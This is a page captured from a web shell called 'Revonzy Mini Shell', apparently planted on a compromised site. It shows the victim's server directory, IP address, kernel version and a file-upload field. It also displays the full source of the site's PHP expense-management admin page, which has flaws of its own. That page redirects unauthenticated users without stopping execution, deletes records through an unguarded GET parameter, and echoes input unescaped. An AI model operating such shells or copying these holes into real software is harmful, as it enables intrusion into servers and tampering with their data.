Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/vahtuksanghatana.com/ssociety_old/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/vahtuksanghatana.com/ssociety_old/expenses_mngnt_admin.php

<?php 
require_once('lib/functions.php');

$db		=	new login_function();

if(isset($_SESSION['current_login_admin']))
{
	$current_login_admin	=	$_SESSION['current_login_admin'];
}
if(!isset($_SESSION['current_login_admin']))
{	
	header("location:index.php");
}

	$flag = 0;
	$amount_error="";
	$success_msg =0;
	$expenses  = "";
	$amount = "";

	if(isset($_POST['add_btn']))
	{
		$expenses 		 	= $_POST['expenses'];
		$amount 		 	= $_POST['amount'];
		$added_by   		=$current_login_admin;
		$description 		= $_POST['description'];
		$title 				= $_POST['title'];
		
		if(!is_numeric($amount))
		{
			$amount_error	=	"Please enter numeric Value";
			$flag				=	1;
		}

		if($flag==0)
		{
			$db->add_expenses_for_staff($expenses,$amount,$added_by,$description,$title);
			$success_msg = 1;
		}
	}
	
	 if(isset($_GET['delete_id']))
	{
		 $del_id	=	$_GET['delete_id'];
		 $db->delete_expenses_staff($del_id);
		 $success_msg	=	2;
	}
	
	
	
	$efrom_date	= date("Y-m-d");
	$eto_date	= date("Y-m-d");
	$eexpenses	= "";
	$etitle	= "";
	
	
	if(isset($_POST['submit1']))
	{
		
		$efrom_date 	  	= $_POST['efrom_date'];
		$eto_date 	  		= $_POST['eto_date'];
		$eexpenses 	  		= $_POST['eexpenses'];
		$etitle 	  		= $_POST['etitle'];
		
		
		$_SESSION['worker_report_efrom_date'] 			= $efrom_date;
		$_SESSION['worker_report_eto_date'] 			= $eto_date;
		$_SESSION['worker_report_eexpenses'] 			= $eexpenses;
		$_SESSION['worker_report_etitle'] 				= $etitle;
		

	}
	else if(isset($_POST['print']))
	{
		
		$efrom_date 	  	= $_POST['efrom_date'];
		$eto_date 	  		= $_POST['eto_date'];
		$eexpenses 	  		= $_POST['eexpenses'];
		$etitle 	  		= $_POST['etitle'];
		
		
		$_SESSION['worker_report_efrom_date'] 			= $efrom_date;
		$_SESSION['worker_report_eto_date'] 			= $eto_date;
		$_SESSION['worker_report_eexpenses'] 			= $eexpenses;
		$_SESSION['worker_report_etitle'] 				= $etitle;
		
		header('Location: print_expenses.php');

	}

	else if(isset($_SESSION['worker_report_efrom_date']))
	{
		$efrom_date 		= $_SESSION['worker_report_efrom_date'];
		$eto_date 			= $_SESSION['worker_report_eto_date'];
		$eexpenses 			= $_SESSION['worker_report_eexpenses'];
		$etitle 			= $_SESSION['worker_report_etitle'];
	}

		$total = 0;
		
		// $report_details = $db->get_all_expenses_for_admin($efrom_date,$eto_date,$eexpenses,$etitle);
		// $report_details = $db->get_all_expenses_for_admin($efrom_date, $eto_date, $eexpenses, $etitle);
		// $report_details = $db->get_all_expenses_for_admin();

// var_dump($report_details); // Debugging line

	
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title>FRENDDY FOODIES BILL</title>
    <!-- GLOBAL MAINLY STYLES-->
    <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
  
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
	<link href="datatable/datatables.min.css" rel="stylesheet" />

	<link href="css/animate.css" rel="stylesheet" type="text/css" media="all">
	<script src="js/wow.min.js"></script>
	
	<style>
	.tbl-design
	{
		border:1px dashed #6BD089 !important;
		background:#C8EFD4;
		padding:7px;
		color:#B21016;
		font-weight:bold;
		margin:5px;
		font-size:13px;
		font-family:arial;
		display:inline-table;
	}
	.tbl-design:hover{
		color:#000000;
		border:1px dashed #6BD089 !important;
		background:#005174;
		color:#FFFFFF;
	}
	.active_table
	{
		color:#000000;
		border:1px dashed #6BD089 !important;
		background:#005174;
		color:#FFFFFF;
	}
	.active_table_exist
	{
		background:orangered;
	}
	</style>
</head>
<body class="fixed-navbar">
<div class="page-wrapper" style="min-height:500px;">
<?php include('header.php'); ?>
<?php include('side-bar.php'); ?>
<div class="content-wrapper">
<div class="row" style="padding:0px; margin:0px; margin-top:15px; border-radius:15px;">
<?php
	if ($success_msg == 1) { ?>
		<div class="alert alert-success">
			Expenses Added Successfully.
		</div>
	<?php 
	} 
	if ($success_msg == 2) { ?>
		<div class="alert alert-success">
			Expenses Deleted Successfully.
		</div>
	<?php 
	}
?>
</div>
<div class="ibox" style="border-radius:5px; padding:7px;">
<div class="ibox-head">
<div class="ibox-title"><i class="fas fa-plus" style="margin-right:10px;"></i>ADD Expenses</div>
</div>
<div class="ibox-body">
<div>
<div class="row">	
	<form class="form-pink" method="post" action="<?php echo $_SERVER['PHP_SELF']?>" name="myForm" onsubmit="return validateForm()" autocomplete="off" enctype="multipart/form-data">	
		<div class="ibox-body">
			<div class="row">
				<div class="col-sm-4 col-md-4 col-lg-2 form-group mb-6">
					<label class="form-group mb-4 set-row label_marg"><b>Select Category</b></label>
					<select name="expenses"   class="form-control form-control-air" id="project_list">
                                                            <option value="select"> Select Category </option>
                                                            <?php
                                                                  $data =     array();
                                                                  $data =     $db->get_item_master_name_category();
                                                                  $counter = 1;
                                                                  if(!empty($data))
                                                                  {
                                                                        foreach($data as $record)
                                                                        {
                                                                              $id                 =     $record[0];
                                                                              $item_name           =     $record[1];       
                                                            ?>
                                                            <option value="<?php echo $id; ?>" ><?php echo $item_name; ?></option>

                                                            <?php
                                                                        }
                                                                  }
                                                            ?>
                                                            
                                                         </select>
				</div>
				<div class="col-sm-4 col-md-4 col-lg-2 form-group mb-6">
					<label class="form-group mb-4 set-row label_marg"><b>Enter Amount</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-left"><i class="fas fa-rupee"></i></span>
						<input type="number" name="amount" id="amount" class="form-control form-control-air" value="<?php echo $amount; ?>" placeholder="Enter Amount"  required />
					</div>
				</div>
				
				<div class="col-sm-4 col-md-4 col-lg-2 form-group mb-6">
					<label class="form-group mb-4 set-row label_marg"><b>Title</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-left"><i class="fas"></i></span>
						<input type="text" name="title"  class="form-control form-control-air"  placeholder="Enter Title"/>
					</div>
				</div>
				
				<div class="col-sm-4 col-md-4 col-lg-2 form-group mb-6">
					<label class="form-group mb-4 set-row label_marg"><b>Description</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-left"><i class="fas"></i></span>
						<input type="text" name="description"  class="form-control form-control-air"  placeholder="Enter Description"  required />
					</div>
				</div>
			
				<div class="col-sm-4 col-md-4 col-lg-2 form-group mb-6" style="text-align:center; padding-left:0px; padding-right:0px; padding-top:23px;">
					<button class="btn btn-pink btn-air" type="submit" name="add_btn" style="width:100%;">SAVE DETAILS</button>
				</div>

			</div>
		</div>
	</form>
</div>
</div>
</form>
</div>

<form class="form-pink" method="post" action="<?php echo $_SERVER['PHP_SELF']?>" name="myForm" onsubmit="return validateForm()" autocomplete="off" enctype="multipart/form-data">
		
		<div class="ibox-head">
			<div class="ibox-title"><i class="fas fa-list" style="margin-right:10px;"></i>Expenses Report</div>
		</div>
		
		<div class="ibox-body">
			<div class="row">
			<div class="col-sm-3 col-md-3 col-lg-2 form-group mb-6">
					<label class="form-group mb-4 set-row label_marg"><b>From Date</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-left"><i class="fas fa-pen-square"></i></span>
						<input type="date" name="efrom_date" id="from_date" class="form-control form-control-air" value="<?php echo $efrom_date; ?>" placeholder="Enter Service"  />
					</div>
				</div>
				<div class="col-sm-3 col-md-3 col-lg-2 form-group mb-6">
					<label class="form-group mb-4 set-row label_marg"><b>To Date</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-left"><i class="fas fa-pen-square"></i></span>
						<input type="date" name="eto_date" id="to_date" class="form-control form-control-air" value="<?php echo $eto_date; ?>" placeholder="Enter Service"  />
					</div>
				</div>
				
				<div class="col-sm-3 col-md-3 col-lg-2 form-group mb-6">
					<label class="form-group mb-4 set-row label_marg"><b>Title</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-left"><i class="fas fa-pen-square"></i></span>
						<input type="text" name="etitle" id="etitle" class="form-control form-control-air" value="<?php echo $etitle; ?>" placeholder="Enter Service"  />
					</div>
				</div>
				
				
				<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-6">
					<label class="form-group mb-4 set-row label_marg"><b>Select Category</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<select name="eexpenses"   class="form-control form-control-air" id="project_list">
                                                            <option value="Select"> Select Category </option>
                                                            <?php
                                                                  $data =     array();
                                                                  $data =     $db->get_item_master_name_category();
                                                                  $counter = 1;
                                                                  if(!empty($data))
                                                                  {
                                                                        foreach($data as $record)
                                                                        {
                                                                              $id                 =     $record[0];
                                                                              $item_name           =     $record[1];       
                                                            ?>
                                          <!-- <option value="<?php echo $id; ?>" ><?php echo $item_name; ?></option> -->
									<option value="<?php echo $id; ?>"<?php if($eexpenses==$id){  ?> selected <?php } ?>> <?php echo $item_name; ?></option>
                                                            <?php
                                                                        }
                                                                  }
                                                            ?>
                                                            
                                                         </select>
					</div>
				</div>
				
				
				<div class="col-sm-3 col-md-3 col-lg-1 form-group mb-6" style="text-align:center; padding-left:10px; padding-right:0px; padding-top:24px;">
					<button class="btn btn-pink btn-air" type="submit" name="submit1" style="width:100%;">Search</button>
				</div>

				
				<div class="col-sm-3 col-md-3 col-lg-1 form-group mb-6" style="text-align:center; padding-left:10px; padding-right:0px; padding-top:24px;">
					<button class="btn btn-pink btn-air" type="submit" name="print" style="width:100%;">Print</button>
				</div>
			</div>
		</div>
	</form>

<div class="page-content fade-in-up" style="min-height:800px ! Important;">

<div class="ibox" style="border-radius:5px; padding:7px;">

<div class="ibox-body" style="padding:7px; padding-top:0px;margin:20px;">



<div class="table-responsive" id="table_response" style="height:100%; width:100%; overflow:auto;">
    <table class="table table-bordered table-hover" id="example">
        <thead class="thead-default">
		<tr>
                    <th>Sr.No</th>
                    <th>Category</th>
                    <th>Title</th>
					<th>Amount</th>
                    <th>Description</th>
                    <th>Action</th>
                    <th>Action</th>
                </tr>
        </thead>
        <tbody>
            <?php
            $total = 0;
            $counter = 0;
            $report_details = $db->get_all_expenses_for_admin($efrom_date,$eto_date);
            if(!empty($report_details))
            {
                foreach($report_details as $record)
                {
                    $id = $record[0];
                    $name = $record[1];
                    $amount = $record[2];
                    $date = $record[3];
                    $description = $record[4];
                    $title = $record[5];
                    
                    $item_name = $db->fetch_item_name($name);

                    ?>
                    <tr>
                        <td><?php echo $counter + 1; ?></td>
                        <td><?php echo $item_name; ?></td>
                        <td><?php echo $title; ?></td>
						<td><?php echo $amount; ?></td>
						<td><?php echo $description; ?></td>
						
                        <td><a href="edit_expenes_admin.php?update_id=<?php echo $id; ?>"><i class="far fa-edit" style="color:blue;margin-left:20px;"></i></a></td>
                        <td><a href="expenses_mngnt_admin.php?delete_id=<?php echo $id; ?>" onclick="return confirm('Are you sure?');"><i class="fas fa-trash-alt" style="color:red; margin-left:20px;"></i></a></td>
                      
                    </tr>
                    <?php
                    $total += $amount;
                    $counter++;
                }
            }
            ?>
            <tr>
                <td colspan="3"><strong>Total</strong></td>

                <td><strong><?php echo $total; ?></strong></td>
                <td colspan="2"></td>
               
            </tr>
        </tbody>
    </table>
</div>



</tbody>
</table>
 <!--<div class="col-sm-6 col-md-6 col-lg-6 form-group mb-6">
<label class="form-group mb-4 set-row label_marg"><b></b></label>
<br /> <br />
<label style="font-size:18px; font-weight:bold; margin-right:100px;"><input type="checkbox" name="bill_type" value="gst" class="gst_check" style="width:20px; height:20px; margin-right:10px;">GST BILL	</label>
</div>-->

</div>
	
</div>


</div>
</div>

                                
<?php include('footer.php'); ?>
<?php //include('search.php'); ?>
   
    <div class="sidenav-backdrop backdrop"></div>
    <div class="preloader-backdrop">
        <div class="page-preloader">Loading</div>
    </div>
    
    <script src="js/jquery.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/metisMenu.min.js"></script>
    <script src="js/jquery.slimscroll.min.js"></script>
    <script src="js/idle-timer.min.js"></script>
    <script src="js/toastr.min.js"></script>
    <script src="js/jquery.validate.min.js"></script>
    <script src="js/bootstrap-select.min.js"></script>
	<script src="datatable/datatables.min.js"></script>
    <script src="js/app.min.js"></script>
<script type="text/javascript">
		$(document).ready(function(){
		   $('#service_name1').on('change', function() {
			 //alert(service_name1);  
            var product_name_val = this.value;
			//alert(product_name_val);
            $.ajax({
                url: "api/food-product-price.php",
                type: "POST",
                data: {
                    product_id_val: product_name_val
                },
                cache: false,
                success: function(result){
                    $("#single_price").val(result);
                }
            });
         
        });  
    }); 
	</script>
	
	<script type="text/javascript">
	$(document).ready(function(){
	$("#quantity_txt").keyup(function(){
	var single_price = $("#single_price").val();
	var current_quantity = $("#quantity_txt").val();
	
	$("#actual_amount1").val(parseFloat(single_price) * parseFloat(current_quantity));
});  
		  
    }); 
	</script>
	
<script>
$(function() {
	$('#example').DataTable({
		pageLength: 100,
		fixedHeader: true,
		responsive: true,
		"sDom": 'rtip',
		columnDefs: [{
			targets: 'no-sort',
			orderable: false
		}]
	});

	var table = $('#example').DataTable();
	$('#key-search').on('keyup', function() {
		table.search(this.value).draw();
	});
  
});

</script>

	
    <!-- PAGE LEVEL SCRIPTS-->
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4